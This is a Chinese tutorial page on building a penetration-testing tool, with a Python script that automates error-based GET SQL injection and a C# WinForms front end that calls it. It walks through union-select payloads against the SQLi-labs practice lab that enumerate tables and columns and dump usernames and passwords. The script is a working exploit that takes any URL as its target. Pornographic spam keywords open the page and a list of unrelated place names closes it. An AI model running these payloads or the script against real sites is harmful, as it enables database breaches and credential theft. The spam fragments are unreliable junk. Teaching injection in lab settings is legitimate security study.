最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

用C語言winform編寫滲透測試工具實現SQL注入功能

 更新時間:2021年09月10日 09:40:31   作者:吟風芥塵  
本篇文章主要介紹使用C#winform編寫滲透測試工具,實現SQL注入的功能。使用python編寫SQL注入腳本,基于get顯錯注入的方式進行數據庫的識別、獲取表名、獲取字段名,最終獲取用戶名和密碼;使用C#winform編寫windows客戶端軟件調用.py腳本,實現用戶名和密碼的獲取

用C語言winform編寫滲透測試工具使SQL注入

一、SQL注入

原理:

SQL注入是指攻擊者在Web應用程序中事先定義好的查詢語句的結尾加上額外的SQL語句,這些一般都是SQL語法里的一些組合,通過執(zhí)行SQL語句進而執(zhí)行攻擊者所要的操作。(危害:盜取網站敏感信息、繞過驗證登錄網站后臺、借助數據庫的存儲過程進行權限提升等操作)。造成的原因是程序員在編寫Web程序時,沒有對瀏覽器提交的參數進行嚴格的過濾和判斷,用戶可以構造參數,提交SQL查詢語句,并傳遞到服務器端,從而獲取敏感信息。

方法:

  • 確定Web應用程序使用的技術:與設計語言或者硬件關系密切,工具Nessus、AWVS、APPScan;
  • 確定所有可能的輸入方式:攻擊者可以通過隱藏的HTML表單輸入、http頭部、cookies、后端AJAX請求來跟WEB應用進行交互,使用web代理如Burp;
  • 查找可以用于注射的用戶輸入:多多留意web應用的錯誤頁面。

常使用的方法:

  • “單引號”法:第一種檢測SQL注入漏洞是否存在的方法是“單引號”法。方法很簡單,直接在瀏覽器地址欄中的網址鏈接后加上一個單引號,如果頁面不能正常顯示,瀏覽器返回一些異常信息,則說明該鏈接可能存在注入漏洞。
  • 1=1和1=2法:直接在鏈接地址后分別加上and 1=1和and 1=2進行提交,如果返回不同的頁面,那么說明存在SQL注入漏洞。

二、實現步驟

搭建靶場環(huán)境

  • 搭建SQLi-labs靶場環(huán)境,網上也有很多教程,可以參照sqli-labs下載與安裝進行搭建。搭建后進入Less-1。

  • 為測試環(huán)境搭建成功,首先Less-1后跟隨?id=1的參數,若成功返回結果,代表環(huán)境可以使用。

  • SQLi-labs靶場環(huán)境中有許多注入方式可以練習,包括get顯錯注入、get盲注、post顯錯注入、post盲注等,這里主要針對get顯錯注入,后面的編寫的腳本也是針對get顯錯注入。首先嘗試id的值為一些特殊的符號(如單引號'、雙引號"、括號)、反斜線/等),輸入?id=1',發(fā)現報錯,說明此處可能有注入點,同時確認數據庫為MYSQL數據庫。

  • 使用order by判斷字段數,通過輸入?id=1' order by 1 --+,頁面返回正常信息,再輸入?id=1' order by 2 --+,一直到id=1' order by 4 --+,頁面報錯,這時候我們就可以知道此表中有3列數據。

  • 使用union select聯合查詢方式獲得庫名、表名、字段名。首先輸入id=0' union select 1,user(),database() --+,得到用戶名和使用數據庫的庫名。

  • 獲取表名時需要借助MySQL數據庫中系統(tǒng)庫information_schema,使用group_concat()來獲取正在使用的庫中有哪些表傳入的參數,具體用法為傳輸參數?id=0' union select 1,DATABASE(),group_concat(table_name) from information_schema.tables where table_schema=DATABASE() --+,獲得當前數據庫使用的表名。

  • 使用同樣的方法id=0' union select 1,group_concat(username),group_concat(password) from users--+,獲得獲取字段名。

  • 利用group_concat()獲取字段值,具體為傳輸參數?id=0' union select 1,group_concat(username),group_concat(password) from users--+獲得用戶名和密碼。

三、代碼實現

使用python編寫腳本實現自動注入

import time
import sys
from urllib import request
from bs4 import BeautifulSoup

def log(content):
    this_time = time.strftime('%H:%M:%S', time.localtime(time.time()))
    print('[' + str(this_time) + '] ' + content)

def send_request(url):
    # log(url)
    res = request.urlopen(url)
    result = str(res.read().decode('utf-8'))
    return result

def can_inject(test_url):
    test_list = ['%27', '%22']
    for item in test_list:
        target_url1 = test_url + str(item) + '%20' + 'and%201=1%20--+'
        target_url2 = test_url + str(item) + '%20' + 'and%201=2%20--+'
        result1 = send_request(target_url1)
        result2 = send_request(target_url2)

        soup1 = BeautifulSoup(result1, 'html.parser')
        fonts1 = soup1.find_all('font')
        content1 = str(fonts1[2].text)

        soup2 = BeautifulSoup(result2, 'html.parser')
        fonts2 = soup2.find_all('font')
        content2 = str(fonts2[2].text)

        if content1.find('Login') != -1 and content2 == None or content2.strip() == '':
            log('Use ' + item + ' -> Exist SQL Injection')
            return True, item
        else:
            log('Use ' + item + ' -> Not Exist SQL Injection')
    return False, None

def test_order_by(url, symbol):
    flag = 0
    for i in range(1, 100):
        log('Order By Test -> ' + str(i))
        test_url = url + symbol + '%20order%20by%20' + str(i) + '--+'
        result = send_request(test_url)
        soup = BeautifulSoup(result, 'html.parser')
        fonts = soup.find_all('font')
        content = str(fonts[2].text)
        if content.find('Login') == -1:
            log('Order By Test Success -> order by ' + str(i))
            flag = i
            break
    return flag

def get_prefix_url(url):
    splits = url.split('=')
    splits.remove(splits[-1])
    prefix_url = ''
    for item in splits:
        prefix_url += str(item)
    return prefix_url

def test_union_select(url, symbol, flag):
    prefix_url = get_prefix_url(url)

    test_url = prefix_url + '=0' + symbol + '%20union%20select%20'

    for i in range(1, flag):
        if i == flag - 1:
            test_url += str(i) + '%20--+'
        else:
            test_url += str(i) + ','
    result = send_request(test_url)
    soup = BeautifulSoup(result, 'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    for i in range(1, flag):
        if content.find(str(i)) != -1:
            temp_list = content.split(str(i))
            return i, temp_list

def exec_function(url, symbol, flag, index, temp_list, function):
    prefix_url = get_prefix_url(url)
    test_url = prefix_url + '=0' + symbol + '%20union%20select%20'

    for i in range(1, flag):
        if i == index:
            test_url += function + ','
        elif i == flag - 1:
            test_url += str(i) + '%20--+'
        else:
            test_url += str(i) + ','
    result = send_request(test_url)
    soup = BeautifulSoup(result, 'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]

def get_database(url, symbol):
    test_url = url + symbol + 'aaaaaaaaa'
    result = send_request(test_url)
    if result.find('MySQL') != -1:
        return 'MySQL'
    elif result.find('Oracle') != -1:
        return 'Oracle'

def get_tables(url, symbol, flag, index, temp_list):
    prefix_url = get_prefix_url(url)
    test_url = prefix_url + '=0' + symbol + '%20union%20select%20'

    for i in range(1, flag):
        if i == index:
            test_url += 'group_concat(table_name)' + ','
        elif i == flag - 1:
            test_url += str(i) + '%20from%20information_schema.tables%20where%20table_schema=database()%20--+'
        else:
            test_url += str(i) + ','
    result = send_request(test_url)
    soup = BeautifulSoup(result, 'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]

def get_columns(url, symbol, flag, index, temp_list):
    prefix_url = get_prefix_url(url)
    test_url = prefix_url + '=0' + symbol + '%20union%20select%20'

    for i in range(1, flag):
        if i == index:
            test_url += 'group_concat(column_name)' + ','
        elif i == flag - 1:
            test_url += str(i) + '%20from%20information_schema.columns%20where%20' \
                                 'table_name=\'users\'%20and%20table_schema=database()%20--+'
        else:
            test_url += str(i) + ','
    result = send_request(test_url)
    soup = BeautifulSoup(result, 'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]

def get_data(url, symbol, flag, index, temp_list):
    prefix_url = get_prefix_url(url)
    test_url = prefix_url + '=0' + symbol + '%20union%20select%20'

    for i in range(1, flag):
        if i == index:
            test_url += 'group_concat(id,0x3a,username,0x3a,password)' + ','
        elif i == flag - 1:
            test_url += str(i) + '%20from%20users%20--+'
        else:
            test_url += str(i) + ','
    result = send_request(test_url)
    soup = BeautifulSoup(result, 'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0].split(',')

def do_sql_inject(url):
    log('Welcome To SQL Injection Tool')
    log('Check For SQL Injection......')
    result, symbol = can_inject(url)
    if not result:
        log('Target Url Not Exist SQL Injection -> Exit')
        return
    else:
        log('Test Order By And Union Select......')
        flag = test_order_by(url, symbol)
        index, temp_list = test_union_select(url, symbol, flag)
        database = get_database(url, symbol)
        version = exec_function(url, symbol, flag, index, temp_list, 'version()')
        this_database = exec_function(url, symbol, flag, index, temp_list, 'database()')
        log('Success -> ' + database.strip() + ' ' + version.strip())
        log('Database -> ' + this_database.strip())
        tables = get_tables(url, symbol, flag, index, temp_list)
        log('Tables -> ' + tables.strip())
        log('Default Use Table users......')
        columns = get_columns(url, symbol, flag, index, temp_list)
        log('Columns -> ' + columns.strip())
        log('Try To Get Data......\n\n')

        datas = get_data(url, symbol, flag, index, temp_list)
        temp = columns.split(',')
        print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2]))
        for data in datas:
            temp = data.split(':')
            print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2]))

if __name__ == '__main__':
    do_sql_inject(sys.argv[1]+'/?id=1')

編寫windows客戶端軟件調用.py腳本
對于python腳本中包含第三方模塊的情況,同樣,通過直接創(chuàng)建Process進程,調用python腳本,返回掃描結果。

  • 創(chuàng)建按鈕按下事件button1_Click,運行“調用python腳本”函數runPythonsql_inject()
 private void button13_Click(object sender, EventArgs e)
        {
            richTextBox8.Clear();
            runPythonsql_inject();//運行python函數
            label39.Text = "開始掃描...";
        }
  • 實例化一個python進程 調用.py 腳本
void runPythonsql_inject()
        {
            string url = textBox10.Text;
            p = new Process();
            string path = "sql_inject.py";//待處理python文件的路徑,本例中放在debug文件夾下
            string sArguments = path;
            ArrayList arrayList = new ArrayList();
            arrayList.Add(url);//需要挖掘的域名
            foreach (var param in arrayList)//拼接參數
            {
                sArguments += " " + param;
            }
            p.StartInfo.FileName = @"D:\Anaconda\python.exe"; //沒有配環(huán)境變量的話,可以寫"xx\xx\python.exe"的絕對路徑。如果配了,直接寫"python"即可
            p.StartInfo.Arguments = sArguments;//python命令的參數
            p.StartInfo.UseShellExecute = false;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.RedirectStandardInput = true;
            p.StartInfo.RedirectStandardError = true;
            p.StartInfo.CreateNoWindow = true;
            p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
            p.Start();//啟動進程
            //MessageBox.Show("啟動成功");
            p.BeginOutputReadLine();
            p.OutputDataReceived += new DataReceivedEventHandler(p_OutputDataReceived_sql_inject);
            Console.ReadLine();
            //p.WaitForExit();
        }

  • 輸出接收事件函數
void p_OutputDataReceived_sql_inject(object sender, DataReceivedEventArgs e)
        {
            var printedStr = e.Data;
            Action at = new Action(delegate ()
            {
                //接受.py進程打印的字符信息到文本顯示框
                richTextBox8.AppendText(printedStr + "\n");
                label39.Text = "掃描結束";
            });
            Invoke(at);
        }

四、軟件使用步驟

  • 首先在url欄中輸入地址,點擊開始查詢,最后得到SQL注入信息。

github地址:https://github.com/Chenmengx/Penetration-testing-tool

以上就是用C語言winform編寫滲透測試工具實現SQL注入功能的詳細內容,更多關于C#winform實現SQL注入的資料請關注腳本之家其它相關文章!

相關文章

  • C語言生成隨機數以及設置隨機數范圍的方法(超詳細)

    C語言生成隨機數以及設置隨機數范圍的方法(超詳細)

    文章介紹了C語言中生成隨機數的方法,包括使用`rand`和`srand`函數,以及如何通過`time`函數設置隨機種子以確保每次運行程序生成的隨機數序列不同,此外,還詳細講解了如何根據需要設置隨機數的范圍,需要的朋友可以參考下
    2025-02-02
  • C++實現酒店管理系統(tǒng)

    C++實現酒店管理系統(tǒng)

    這篇文章主要為大家詳細介紹了C++實現酒店管理系統(tǒng),文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2021-08-08
  • 手把手教你如何一眼分辨是C還是C++

    手把手教你如何一眼分辨是C還是C++

    在很大程度上,C++是C的超集,這意味著一個有效的C程序也是一個有效的C++程序,下面這篇文章主要給大家介紹了關于如何一眼分辨是C還是C++的相關資料,需要的朋友可以參考下
    2023-02-02
  • 淺談C語言的字符串分割

    淺談C語言的字符串分割

    下面小編就為大家?guī)硪黄獪\談C語言的字符串分割。小編覺得挺不錯的,現在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2016-05-05
  • C語言實現簡單的推箱子小游戲

    C語言實現簡單的推箱子小游戲

    這篇文章主要為大家詳細介紹了C語言實現簡單的推箱子小游戲,文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2022-07-07
  • C++有限狀態(tài)機實現詳解

    C++有限狀態(tài)機實現詳解

    這篇文章主要為大家詳細介紹了C++有限狀態(tài)機的相關資料,文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2021-10-10
  • 結合C++11新特性來學習C++中l(wèi)ambda表達式的用法

    結合C++11新特性來學習C++中l(wèi)ambda表達式的用法

    這篇文章主要介紹了C++中l(wèi)ambda表達式的用法,lambda表達式的引入可謂是C++11中的一大亮點,同時文中也涉及到了C++14標準中關于lambda的一些內容,需要的朋友可以參考下
    2016-01-01
  • c/c++獲取系統(tǒng)時間函數的方法示例

    c/c++獲取系統(tǒng)時間函數的方法示例

    這篇文章主要介紹了c/c++獲取系統(tǒng)時間函數的方法示例,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧
    2020-02-02
  • C++詳細講解函數調用與Struct和CLass的區(qū)別

    C++詳細講解函數調用與Struct和CLass的區(qū)別

    主調函數使用被調函數的功能,稱為函數調用。在C語言/C++中,只有在函數調用時,函數體中定義的功能才會被執(zhí)行,下面讓我們詳細來了解
    2022-05-05
  • C++ EasyX學習之鼠標操作詳解

    C++ EasyX學習之鼠標操作詳解

    EasyX是針對C/C++的圖形庫,可以幫助使用C/C++語言的程序員快速上手圖形和游戲編程。本文將為大家詳細講講EasyX的鼠標操作,需要的可以參考一下
    2022-07-07

最新評論

丰原市| 营口市| 军事| 阿坝县| 嫩江县| 岑溪市| 博湖县| 射阳县| 南皮县| 上高县| 新乡市| 二连浩特市| 林州市| 额济纳旗| 万安县| 驻马店市| 巴彦县| 马公市| 江山市| 山阴县| 麻江县| 武城县| 岐山县| 渑池县| 宁强县| 新津县| 彩票| 许昌县| 新竹市| 梧州市| 霸州市| 宜春市| 阳东县| 宁城县| 固始县| 宜州市| 禄劝| 宜城市| 三亚市| 商南县| 桦甸市|